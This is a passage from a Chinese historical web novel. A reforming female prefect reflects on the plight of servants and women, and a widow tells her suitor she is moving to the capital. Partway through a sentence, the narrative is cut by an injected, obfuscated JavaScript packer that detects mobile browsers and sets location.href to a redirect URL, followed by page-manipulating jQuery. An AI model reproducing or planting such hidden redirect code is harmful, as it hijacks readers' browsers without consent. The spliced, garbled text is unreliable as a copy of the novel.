叶馨儿喝止了丫鬟的多嘴,忙道:“初大人莫听小丫头胡言,我去京城,也有其他方面的考量,何况樟安的生意也不会放下,只是交给手下的掌柜们罢了。” 初学清沉下了脸,她知道,这不是一个小厮的性命,这是一个阶层的性命。律法虽严苛,可到了下面,怎样执行,却有很多的余地。尤其是,小厮是奴籍,加上之前私定终身,随便安个罪名,便可丢了性命。 她这些年做了很多,可如今也只是为寒门争取些出路,这世道的不公还有很多,单推动一点就已如此之难,那横亘在眼前的层峦叠嶂,又如何推平呢。 寒门、农民、商人、奴隶、女人……要想有话语权,必须有所用。大宁开国以后,急需休养生息,大力发展扶农政策,重农抑商,农民的生活才稍缓过来。 及至她当上樟安知府,南方粮食不仅做到自给自足,还能供给北方,这才让商业有了发展的机会,商人才不像开国之初那样备受打压。 而今朝堂多为世家子弟,难以深入百姓,朝廷对人才的的渴望,才让她的变法有了可以实施的土壤,才让寒门有了向上的可能。 可奴仆、女人、还有更多贱籍的人,朝代更迭也不曾改变他们的地位,长此以往,他们自己甚至也习惯了仰人鼻息。 初学清请了宋大娘一家帮自己操持家务,但只是支付工钱,并未让他们入奴籍,便有多个同僚劝她,这样会让下人生了二心,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14314748|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有身籍在手,无法掌控他们。 她只叹可笑,她这样的,竟成了朝官中的另类。 究竟何时,才能达到她想要的世道。 * 乌金西斜,薄暮洒在河上化作片片磷光。 叶馨儿和初学清在作坊内议事时,杨若柳在成衣店内等着叶馨儿回来商议去京城的事宜。 可未料却等来了柴富贵。 杨若柳本以为昨日她都已经说了,会随叶馨儿去京城谋事,柴富贵定然也不会像往日一般殷勤。 柴富贵对她存着心思,她是知道的,她先前的确想过也许能再嫁,可当叶馨儿提议去京城时,她还是毫不犹豫选择了跟去,毕竟她唯一的孩子还在京城,为了不影响他的前途,已多年未见,如今有了机会,哪怕默默守着他也好。 还是要辜负柴富贵了。 柴富贵跟着杨若柳到了二楼窗边,他也没心思看窗外的明媚春光,只盯着眼前看似弱柳扶风,实际外柔内刚的女子,小心翼翼地问道:“你何时去京城呢?” 杨若柳为他斟了杯茶,递了过去,按捺住心中的酸涩,微弯唇角:“应是这个月就动身。” “我……”柴富贵支支吾吾的,黝黑的脸都憋红了,却也没憋出个句子。 杨若柳似是知道他要说什么,打断道:“你也知道,我孩儿还在京城,原本我名声不好,便想着离他远些,可近年来跟着叶老板,生意越做越好,好似有了些底气,想试着离他近些。” 柴富贵默默垂下了头,只低声道:“子不嫌母丑,你毕竟是他亲娘,他若敢不认你,我……” “我可不图他认我,只要远远能看着他就好,如今他都十二岁了,也都懂事了,应是也知道了我从前的事,我哪有脸去认他。” 柴富贵脸色微变,忙道:“哪是你的错,都是……都是那些混账,欺软怕硬,专挑妇孺欺负。” “都过去了,我也不想再提。”杨若柳道,“这两年,承蒙柴大哥照顾,待我走了,你也要好生顾着自己。对了,你顺州的事处理完了吗?铺子忙的过来吗?” “铺子我关了。”柴富贵闷声道。 “关了?”杨若柳讶异问道,“好好的,怎就关了?” 柴富贵抬眼看了看她,语气倏尔变得坚定,鼓足勇气,提高嗓音道:“我跟你去京城!” 杨若柳惊得险些打碎手中的茶杯,她未料柴富贵竟能说出这种话。嫁鸡随鸡,嫁狗随狗,向来是女方跟着男方走,若不是孩儿在京城,她恐怕也难以狠心抛下柴富贵去京城。 两人虽谁都未挑明过,但柴富贵三天两头往这里跑,周围人都是这般默认的,连她自己都马上要抛下纠结,动了二嫁的念头。 可她终是做了决定去京城,便在昨日那般明说,一般男子,要么说服她留下来,要么就此罢了,可柴富贵竟什么都没劝她,就这样要随她去京城。 可她怎能如此自私地让柴富贵抛下这里的一切呢?